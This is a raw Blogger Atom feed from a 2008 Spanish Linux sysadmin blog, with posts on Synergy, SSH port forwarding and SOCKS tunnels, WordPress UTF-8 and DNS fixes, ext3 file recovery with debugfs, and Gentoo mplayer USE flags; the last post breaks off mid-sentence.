Buscando por inete vi esto para poner en stand-by el monitor desde consola &lt;br /&gt;&lt;code&gt;xset dpms force off&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;si asignamos unas teclas para la ejecucion de esta linea (desde gnome se hace con gconf-editor : apps / metacity / keybinding_commands), ya tenemos como cambiar de monitor....&lt;br /&gt;&lt;br /&gt;Yo me asigne Alt + F12 para apagar el monitor (en los dos, client y server) y luego con Alt &lt;- voy a una maquina u otra con Alt -&gt;.&lt;br /&gt;&lt;br /&gt;Las cosas como son, no es perfecto, pero a corto plazo es lo mejor que he podido hacer y por ahora rula...&lt;br /&gt;&lt;br /&gt;De free nos llevamos que synergy, por defecto, comparte el porta-papeles.&lt;br /&gt;&lt;br /&gt;Enlaces : http://synergy2.sourceforge.net/&lt;br /&gt;http://mundogeek.net/archivos/2004/07/01/apagar-el-monitor-en-linux-va-la-lnea-de-comandos/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-3252401564455188046?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/3252401564455188046/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=3252401564455188046' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/3252401564455188046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/3252401564455188046'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2008/05/usando-synergy-con-un-solo-monitor.html' title='Usando synergy con un solo monitor'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-388066654258998318</id><published>2008-04-30T16:51:00.002+02:00</published><updated>2008-06-01T13:06:39.260+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><title type='text'>Un par de TIPs rápidos sobre túneles SSH</title><content type='html'>Esto iban a ser un par de comandos para el apartado ful scripts, pero luego he pensado que quizá merecía la pena montar un mini-artículo que explicase de qué iba el tema.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Túnel a través de ssh&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;Muchas veces tenemos que acceder a servicios de una LAN que no están accesibles directamente desde internet; sin embargo, sí tenemos conexión de ssh.&lt;br /&gt;La solución es muy sencilla, crear un tunel a través del ssh (esto se puede hacer también a través del putty si tienes la desgracia de que el S.O. del cliente es un windows...&lt;br /&gt;&lt;br /&gt;Escenario:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Servicio ssh escuchando en internet en la IP pública 64.233.183.99&lt;/li&gt;&lt;li&gt;En otra máquina dentro de la misma LAN está escuchando una BBDD postgres en la IP 192.168.10.69 en el puerto 5432&lt;/li&gt;&lt;li&gt;Conectamos nuestro portátil a una Wireless que algún alma caritativa tiene abierta (0 no) y creamos un túnel con el siguiente comando:&lt;/li&gt;&lt;/ul&gt;&lt;code&gt;ssh -CvNL 5432:192.168.10.69:5432 bpk@64.233.183.99&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Explicando rápidamente el tema:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;C --&gt;Habilita la compresión, para minimizar el uso de ancho de banda&lt;/li&gt;&lt;li&gt;v --&gt;Verbose. Útil para ver cuando y cómo se establecen las conexiones dentro del tunel.&lt;/li&gt;&lt;li&gt;N --&gt;Para que no levante una shell ni permita ejecutar comandos en el servidor destino. Útil si tenemos un usuario para estos menesteres que no tiene shell&lt;/li&gt;&lt;li&gt;L --&gt;Con este parámetro estamos levantando el túnel que necesitamos. Concretamente le estamos diciendo que escuche en el puerto local del protátil 5432 y que lo que reciba por ahí lo reenvíe a la IP 192.168.10.69 al puerto 5432 a través de la conexión SSH.&lt;/li&gt;&lt;li&gt;usuario@IP_pública --&gt;Los datos con los que levantaríamos una conexión típica de SSH.&lt;/li&gt;&lt;/ul&gt;Una vez establecida la conexión SSH sólo tendremos que decirle a nuestro cliente preferido de postgres que se conecte a la IP local 127.0.0.1 en el puerto 5432 y listo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Otro posible escenario sería:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Servicio ssh escuchando en internet en la IP pública 89.185.234.89&lt;br /&gt;&lt;/li&gt;&lt;li&gt;En otra máquina dentro de la misma LAN tiene montado un servidor FTP que sólo está accesible desde dentro de la red con la IP 172.26.0.69&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Tenemos que realizar un backup del pr0n en nuestro portátil. Para ello creamos el túnel con el siguiente comando:&lt;/li&gt;&lt;/ul&gt;&lt;code&gt;ssh -CvNL 10000:172.26.0.69:21 bpk@&lt;/code&gt;89.185.234.89&lt;br /&gt;&lt;br /&gt;Y desde otro terminal:&lt;br /&gt;&lt;code&gt;ftp 127.0.0.1 10000&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;La idea es la misma, aunque creo que es más intuitivo así.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Este tipo de túneles se pueden empalmar para ir saltando de máquina en máquina dentro de las distintas subredes de la empresa, pero no quiero complicar el ejemplo, así que eso queda como deberes para cuando lo necesitéis ^_~&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Túnel Dinámico a través de ssh&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;Otro uso práctico de túneles. En este caso túneles dinámicos.&lt;br /&gt;Si estáis en una red no confiable (sipe, lo sé, todas las redes son no confiables, pero unas lo son menos que otras). Pongamos por caso que el vecino con wireless que mencionaba más arriba es un pequeño cabroncete, y le encanta jugar con nuestro tráfico de formas que no nos resultan agradables (no como lo haría la madre de Juako). A través de ssh podemos levantar un túnel dinámico que se comportará como un proxy SOCKS y sólo tendremos que configurar nuestro navegador (o la aplicación que sea) para que utilice el proxy que hemos creado. Por supuesto, conseguiríamos el mismo resultado con una VPN, pero este método tiene la ventaja de que no tenemos que montar ningún servicio adicional y siempre es más común tener un ssh escuchando que una VPN montada.&lt;br /&gt;&lt;br /&gt;Escenario:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Servicio ssh escuchando en la IP pública 64.233.183.99 (máqina dentro de una red confiable)&lt;/li&gt;&lt;li&gt;Ejecutamos el siguiente comando en el portátil que está conectado a internet desde la WIFI del vecino cabrón.&lt;/li&gt;&lt;/ul&gt;&lt;code&gt;ssh -CvND 7777 bpk@64.233.183.99&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;En este caso, la 'D' es la encargada de levantar el túnel dinámico, y el puerto en el que el que está escuchando el proxy SOCKS es el 7777&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Notas referentes al firefox:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Recomiendo usar Add-ons como FoxyProxy para poder alternar configuraciones de distintos proxys (dinámicos, TOR, SQUID...) de una forma rápida y cómoda.&lt;br /&gt;&lt;br /&gt;Si vamos a tunelar el tráfico, conviene comprobar que el parámetro "network.proxy.socks_remote_dns" esté en "true" para que así vaya también por el túnel.&lt;br /&gt;Para comprobar/cambiar el valor: En la barra de direcciones del firefox vamos a "about:config" y buscamos este parámetro (podemos filtrar por "dns" para encontrarlo antes)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;UPDATE - Notas referentes al servidor SSH:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Si tienes problemas y no funciona el túnel, comprobar que está habilitado en el servidor. Para ello editar el archivo de configuración /etc/ssh/sshd_config y buscar el siguiente parámetro:&lt;br /&gt;&lt;code&gt;AllowTcpForwarding yes&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y ya que estáis editando el archivo, no está de más capar el acceso a root como medida de seguridad:&lt;br /&gt;&lt;code&gt;PermitRootLogin no&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-388066654258998318?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/388066654258998318/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=388066654258998318' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/388066654258998318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/388066654258998318'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2008/04/un-par-de-tips-rpidos-sobre-tneles-ssh.html' title='Un par de TIPs rápidos sobre túneles SSH'/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-3929247602838417478</id><published>2008-02-22T20:59:00.004+01:00</published><updated>2008-06-16T18:20:46.718+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wordpress'/><category scheme='http://www.blogger.com/atom/ns#' term='utf8'/><title type='text'>UTF8 en Wordpress</title><content type='html'>A parte del sufrimiento anteriormente mencionado tambien me ocurrio que derrepente se dejaron de ver los acentos, eñes etc... (Esto no fue culpa del isp... fue solo mia :P)&lt;br /&gt;&lt;br /&gt;Despues de estar haciendo locales-gen, ejecutar castellanizar y varias cosillas mas que encontre googleando sin ningun resultado me hice un &lt;br /&gt;&lt;br /&gt;&lt;code&gt;grep 8859 /etc/* -R&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Encontre lo que creo que soluciono el tema por un lado para poner utf8 en apache editamos nuestro archivo de configuracion de apache :&lt;br /&gt;&lt;br /&gt;&lt;code&gt;nano -w /etc/apache2/apache2.conf&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y buscamos AddDefaultCharset y lo ponemos para que por defecto pille utf8&lt;br /&gt;&lt;br /&gt;&lt;code&gt;AddDefaultCharset UTF-8&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Despues editamos la configuracion de php ...&lt;br /&gt;&lt;br /&gt;&lt;code&gt;nano -w /etc/php5/apache2/php.ini&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Para hacer casi lo mismo, buscamos default_charset para ponerle que por defecto pille utf8&lt;br /&gt;&lt;br /&gt;&lt;code&gt;default_charset = &amp;quot;utf-8&amp;quot;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Con esto ultimo un script que tenia de prueba con un echo con acentos, eñes, etc... ya funcionaba, pero los caracteres especiales en los datos que escupia el wordpress de la base de datos mysql seguian apareciendo mal.&lt;br /&gt;&lt;br /&gt;Acordandome de la config que tiene el wp tenia referencia a una locale y gracias a que 5 minutos antes mi boss me recordo que el mysql utilizaba un tipo de codificacion que &amp;quot;raro&amp;quot; (Si me lo dices 10 minutos antes seguro que se me olvida), para ser mas exactos era la : utf8_general_ci modifique el archivo de configuracion del wordpress para poner esta ultima en vez de utf8 en el DB_CHARSET.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;define('DB_CHARSET', 'utf8_general_ci');&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y todo volvio a la normalidad... ha sido una semana muy, muy, pero que muy.... dura&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-3929247602838417478?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/3929247602838417478/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=3929247602838417478' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/3929247602838417478'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/3929247602838417478'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2008/02/utf8-en-wordpress-parte-del-sufrimiento.html' title='UTF8 en Wordpress'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-3551828286390177271</id><published>2008-02-22T20:52:00.003+01:00</published><updated>2008-06-16T18:21:09.058+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wordpress'/><title type='text'>Wordpress lentisimo, casi parado, derrepente....</title><content type='html'>En un lugar de la red, de cuyo nombre no quiero acordarme, hospedaba un ISP malvado como el solo.&lt;br /&gt;&lt;br /&gt;Un dia y coincidiendo con unos cambios que habia realizado el dia anterior empezo a ir lentisimo los sites que tenia hospedados en un servidor dedicado (unos 160 €/mes ... casi na).&lt;br /&gt;&lt;br /&gt;Como coincidio con los cambios realizados por mi, en un servidor que administro yo, lo mas logico fue pensar que la habia cagado de alguna forma. Despues de mirar codigo cambiar todo, poner un wordpress nuevecito y ver que seguia iendo lento descubri, por pura casualidad, que el propio servidor no resolvia nombres.&lt;br /&gt;&lt;br /&gt;Edite el resolv.conf puse unos nuevos dns y ya iba como un tiro...&lt;br /&gt;&lt;br /&gt;Casi lloro de dolor (Menos mal que bpk estuvo a mi lado consolandome...)&lt;br /&gt;&lt;br /&gt;Moraleja, antes de ponerte a hacer straces (o como se llame lo que hace bpk para ver donde se cuelgan/sobrecargan las apps) mira bien que tu isp no te la jugo, no te pase como a mi y te tires 4 horas con semejante locura.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-3551828286390177271?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/3551828286390177271/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=3551828286390177271' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/3551828286390177271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/3551828286390177271'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2008/02/wordpress-lentisimo-casi-parado.html' title='Wordpress lentisimo, casi parado, derrepente....'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-6412723284747777824</id><published>2008-02-20T11:42:00.006+01:00</published><updated>2008-06-16T18:21:43.160+02:00</updated><title type='text'>Recuperar archivos borrados en ext3</title><content type='html'>Usaremos los comandos siguientes :&lt;br /&gt;debugfs, para saber los bloques&lt;br /&gt;dls, para volcar contenidos&lt;br /&gt;&lt;br /&gt;Conviene leerselo antes de que la hayas cagado...&lt;br /&gt;&lt;br /&gt;1) Apagas a capon (nada de shutdown ni halts ni inits a ser posible) para evitar que se escriban nuevos datos en los espacios de los borrados&lt;br /&gt;&lt;br /&gt;2) Arrancas otro linux (desde hd o usb a ser posible para escribir los archivos recuperados)&lt;br /&gt;&lt;br /&gt;3) Imaginamos que el hdb1 es la particion donde perdimos los datos, hacemos :&lt;br /&gt;&lt;code&gt;debugfs /dev/hdb1&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;4) Vamos al directorio donde borramos los archivos&lt;br /&gt;&lt;code&gt;debugfs : cd /home/web/src/blog/scripts&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;5) Hacemos un ls -d para ver los inodes de los archivos borrados&lt;br /&gt;&lt;code&gt;debugfs : ls -d&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Nos devolvera algo como esto :&lt;br /&gt;&lt;br /&gt;&lt;code&gt;211095 (12) . 210082 (4084) .. &amp;lt;209240&amp;gt; (56) variables.cfg&lt;br /&gt;&amp;lt;211150&amp;gt; (32) basic-crear-bbdd.sh &amp;lt;211151&amp;gt; (4016) vssver.scc&lt;br /&gt;&amp;lt;211301&amp;gt; (40) alac-update-a-lastest-engine.sh&lt;br /&gt;&amp;lt;209241&amp;gt; (68) perso-update-a-lastest-engine.sh&lt;br /&gt;&amp;lt;211150&amp;gt; (28) blog-crear-bbdd.sh&lt;br /&gt;&amp;lt;210646&amp;gt; (3888) src-actualizar-lastest-engine.sh&lt;br /&gt;los numeros entre &amp;lt;&amp;gt; son los inodes&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;6) Hayamos el grupo de bloques donde se encuentra el inode de los archivos con imap &amp;lt;inode&amp;gt; (Con &amp;lt;&amp;gt; incluido)&lt;br /&gt;&lt;code&gt;debugfs : imap &amp;lt;209240&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Nos devolvera algo como esto :&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Inode 209240 is part of block &lt;b&gt;group 13&lt;/b&gt;&lt;br /&gt;located at block 426000, offset 0x0b80&lt;br /&gt;los numeros entre &amp;lt;210646&amp;gt; son los inodes&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Para este caso ya sabemos que es el 13&lt;br /&gt;&lt;br /&gt;7) Hayamos de que bloque a que bloque esta el grupo con stats&lt;br /&gt;&lt;code&gt;debugfs : stats&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Nos devolvera algo como esto :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;Filesystem volume name:   /&lt;br /&gt;Last mounted on:          &lt;not available&gt;&lt;br /&gt;Filesystem UUID:          39ab69c0-e7e2-4a09-87e8-10037fcc2c4b&lt;br /&gt;Filesystem magic number:  0xEF53&lt;br /&gt;Filesystem revision #:    1 (dynamic)&lt;br /&gt;Filesystem features:      has_journal filetype sparse_super&lt;br /&gt;Default mount options:    (none)&lt;br /&gt;Filesystem state:         clean&lt;br /&gt;Errors behavior:          Continue&lt;br /&gt;Filesystem OS type:       Linux&lt;br /&gt;Inode count:              497984&lt;br /&gt;Block count:              996022&lt;br /&gt;Reserved block count:     49801&lt;br /&gt;Free blocks:              757815&lt;br /&gt;Free inodes:              442389&lt;br /&gt;First block:              0&lt;br /&gt;Block size:               4096&lt;br /&gt;Fragment size:            4096&lt;br /&gt;&lt;b&gt;Blocks per group:         32768&lt;/b&gt;&lt;br /&gt;Fragments per group:      32768&lt;br /&gt;Inodes per group:         16064&lt;br /&gt;Inode blocks per group:   502&lt;br /&gt;Last mount time:          Tue Feb 19 11:11:35 2008&lt;br /&gt;Last write time:          Wed Feb 20 09:49:25 2008&lt;br /&gt;Mount count:              14&lt;br /&gt;Maximum mount count:      30&lt;br /&gt;Last checked:             Thu Jan 10 12:17:41 2008&lt;br /&gt;Check interval:           0 (&lt;none&gt;)&lt;br /&gt;Reserved blocks uid:      0 (user root)&lt;br /&gt;Reserved blocks gid:      0 (group root)&lt;br /&gt;First inode:              11&lt;br /&gt;Inode size:               128&lt;br /&gt;Journal inode:            8&lt;br /&gt;Journal backup:           inode blocks&lt;br /&gt;Directories:              3939&lt;br /&gt;Group 0: block bitmap at 2, inode bitmap at 3, inode table at 4&lt;br /&gt;22861 free blocks, 15910 free inodes, 34 used directories&lt;br /&gt;Group 1: block bitmap at 32770, inode bitmap at 32771, inode table at 32772&lt;br /&gt;31451 free blocks, 14577 free inodes, 3 used directories&lt;br /&gt;Group 2: block bitmap at 65536, inode bitmap at 65537, inode table at 65540&lt;br /&gt;29671 free blocks, 14596 free inodes, 62 used directories&lt;br /&gt;Group 3: block bitmap at 98306, inode bitmap at 98307, inode table at 98308&lt;br /&gt;30286 free blocks, 15010 free inodes, 67 used directories&lt;br /&gt;Group 4: block bitmap at 131072, inode bitmap at 131073, inode table at 131076&lt;br /&gt;20250 free blocks, 15340 free inodes, 5 used directories&lt;br /&gt;Group 5: block bitmap at 163842, inode bitmap at 163843, inode table at 163844&lt;br /&gt;27584 free blocks, 14913 free inodes, 105 used directories&lt;br /&gt;Group 6: block bitmap at 196608, inode bitmap at 196609, inode table at 196612&lt;br /&gt;24565 free blocks, 13511 free inodes, 239 used directories&lt;br /&gt;Group 7: block bitmap at 229378, inode bitmap at 229379, inode table at 229380&lt;br /&gt;30981 free blocks, 14879 free inodes, 30 used directories&lt;br /&gt;Group 8: block bitmap at 262144, inode bitmap at 262145, inode table at 262148&lt;br /&gt;26882 free blocks, 14216 free inodes, 129 used directories&lt;br /&gt;Group 9: block bitmap at 294914, inode bitmap at 294915, inode table at 294916&lt;br /&gt;28672 free blocks, 14694 free inodes, 105 used directories&lt;br /&gt;Group 10: block bitmap at 327680, inode bitmap at 327681, inode table at 327684&lt;br /&gt;21608 free blocks, 14267 free inodes, 117 used directories&lt;br /&gt;Group 11: block bitmap at 360448, inode bitmap at 360449, inode table at 360452&lt;br /&gt;29480 free blocks, 14500 free inodes, 87 used directories&lt;br /&gt;Group 12: block bitmap at 393216, inode bitmap at 393217, inode table at 393220&lt;br /&gt;21167 free blocks, 14793 free inodes, 84 used directories&lt;br /&gt;&lt;b&gt;Group 13: block bitmap at 425984, inode bitmap at 425985, inode table at 425988&lt;br /&gt;20193 free blocks, 12784 free inodes, 305 used directories&lt;/b&gt;&lt;br /&gt;Group 14: block bitmap at 458752, inode bitmap at 458753, inode table at 458756&lt;br /&gt;29393 free blocks, 14664 free inodes, 100 used directories&lt;br /&gt;Group 15: block bitmap at 491520, inode bitmap at 491521, inode table at 491524&lt;br /&gt;26638 free blocks, 13954 free inodes, 42 used directories&lt;br /&gt;Group 16: block bitmap at 524288, inode bitmap at 524289, inode table at 524292&lt;br /&gt;27210 free blocks, 12036 free inodes, 30 used directories&lt;br /&gt;Group 17: block bitmap at 557056, inode bitmap at 557057, inode table at 557060&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Lo que nos interesa para este caso es los Blocks per group y el Group 13&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Blocks per group : 32768&lt;br /&gt;Group 13: block bitmap at 425984, inode bitmap at 425985, inode table at 425988&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Nos da que empieza en 425984 (Esto es igual a multiplicar [Group] * [Blocks per group]  13 * 32768) y termina en 425984 + 32768 - 1 = 458751 ([Donde empieza] + [Blocks per group] - 1)&lt;br /&gt;&lt;br /&gt;ya nos podemos salir de debugfs&lt;br /&gt;&lt;code&gt;debugfs : q&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;8) Volcamos los datos a un archivo con dls -eA dispositivo bloqueini-bloquefin &amp;gt; archivo&lt;br /&gt;&lt;code&gt;dls -eA /dev/hdb1 425984-458751 &amp;gt; /tmp/volcado.dls&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Con esto conseguimos que sea mucho menor el espacio donde tenemos que buscar. (128 Mb en este caso)&lt;br /&gt;&lt;br /&gt;9) En mi caso necesitaba recuperar archivos de texto plano, asi que hice un less del archivo y fui buscando los datos que necesitaba, luego copy y paste a un nuevo archivo. Ademas todos los archivos estaban en el mismo grupo, con lo que no me hizo falta volcar mas grupos de bloques.&lt;br /&gt;&lt;code&gt;less /tmp/volcado.dls&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Estuve intentando usar foremost pero fui incapaz de hacerlo funcionar con esos archivos, me recuperaba un puñao de ficheros pero no lo que necesitaba.&lt;br /&gt;&lt;br /&gt;muchisimas gracias a este post : &lt;a href="http://belinux.wordpress.com/2007/07/16/porque-es-dificil-recuperar-un-fichero-borrado-de-ext3/"&gt;http://belinux.wordpress.com/2007/07/16/porque-es-dificil-recuperar-un-fichero-borrado-de-ext3/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-6412723284747777824?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/6412723284747777824/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=6412723284747777824' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/6412723284747777824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/6412723284747777824'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2008/02/recuperar-archivos-borrados-en-ext3.html' title='Recuperar archivos borrados en ext3'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-891384500712708450</id><published>2008-02-08T13:54:00.010+01:00</published><updated>2008-06-16T18:22:06.506+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gentoo'/><category scheme='http://www.blogger.com/atom/ns#' term='configuracion'/><category scheme='http://www.blogger.com/atom/ns#' term='amd64'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><category scheme='http://www.blogger.com/atom/ns#' term='mplayer'/><title type='text'>Notas sobre mplayer</title><content type='html'>Antes de nada el necesario disclaimer: Mi configuración dista mucho de ser perfecta pero a mí me vale. No he tenido la necesidad de pegarme demasiado con las USE de gentoo - al menos en lo referente a mplayer - así que seguro que se podrá mejorar; pero sí puedo decir que puedo reproducir todo lo que necesito y como yo quiero, que no es poco ^_^&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;USE flags en gentoo referentes a mplayer&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;Las USE que yo estoy utilizando:&lt;br /&gt;&lt;code&gt;bpk@osaka:$  grep  USE /etc/make.conf&lt;br /&gt;USE="a52 aac bash-completion bzip2 cdparanoia cups doc dts dvd dvdr dvdread examples faad ffmpeg flac id3 ipod java live lzo matroska mp4 mpeg2 nptl nptlonly nvidia openal ppds samba screen svg theora vcd wma x264 xanim xvid -berkdb -gnome -ipv6 -arts -esd freetype utempter mjpeg"&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Las USE concretas referente al tema de reproducción multimedia con el mplayer son &lt;a href="http://www.gentoo.org/dyn/use-index.xml"&gt;[1]&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;a52, &lt;/b&gt;Enables support for decoding ATSC A/52 streams used in DVD&lt;br /&gt;&lt;b&gt;aac, &lt;/b&gt;Enables support for MPEG-4 AAC Audio&lt;br /&gt;&lt;b&gt;dts [2], &lt;/b&gt;Enables DTS Coherent Acoustics decoder support&lt;br /&gt;&lt;b&gt;dvd, &lt;/b&gt;Adds support for DVDs&lt;br /&gt;&lt;b&gt;dvdr, &lt;/b&gt;Adds support for DVD writer hardware (e.g. in xcdroast)&lt;br /&gt;&lt;b&gt;dvdread [3], &lt;/b&gt;Enables usage of Ogle's libdvdread for DVD playback&lt;br /&gt;&lt;b&gt;faad [4], &lt;/b&gt;---&lt;br /&gt;&lt;b&gt;ffmpeg, &lt;/b&gt;Enable ffmpeg-based audio/video codec support&lt;br /&gt;&lt;b&gt;flac, &lt;/b&gt;Adds support for FLAC: Free Lossless Audio Codec&lt;br /&gt;&lt;b&gt;live, &lt;/b&gt;Enables live.com streaming media support&lt;br /&gt;&lt;b&gt;matroska, &lt;/b&gt;Adds support for the matroska container format&lt;br /&gt;&lt;b&gt;openal, &lt;/b&gt;Adds support for the Open Audio Library&lt;br /&gt;&lt;b&gt;theora, &lt;/b&gt;Adds support for the Theora Video Compression Codec&lt;br /&gt;&lt;b&gt;vcd, &lt;/b&gt;Video CD support&lt;br /&gt;&lt;b&gt;xanim, &lt;/b&gt;Enables support for xanim based codecs&lt;br /&gt;&lt;b&gt;xvid, &lt;/b&gt;Adds support for xvid.org's open-source mpeg-4 codec&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Las USE referentes al tema de (re)codificación&lt;/b&gt;&lt;br /&gt;&lt;b&gt;cdparanoia, &lt;/b&gt;Enables cdparanoia (audio CD ripper) support&lt;br /&gt;&lt;b&gt;mp4, &lt;/b&gt;Enables mp4 encoding support&lt;br /&gt;&lt;b&gt;wma [5], &lt;/b&gt;Add support for wma files through mplayer.&lt;br /&gt;&lt;b&gt;x264, &lt;/b&gt;Enable h264 encoding using x264&lt;br /&gt;&lt;b&gt;mjpeg [6], &lt;/b&gt;Enables mjpegtools support&lt;br /&gt;&lt;br /&gt;En el apartado media-video de la página de la que he sacado las descripciones de las USE &lt;a href="http://www.gentoo.org/dyn/use-index.xml"&gt;[1]&lt;/a&gt; hay un par de tablas muy interesantes acerca de las que se pueden utilizar para los principales reproductores.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Parámetros 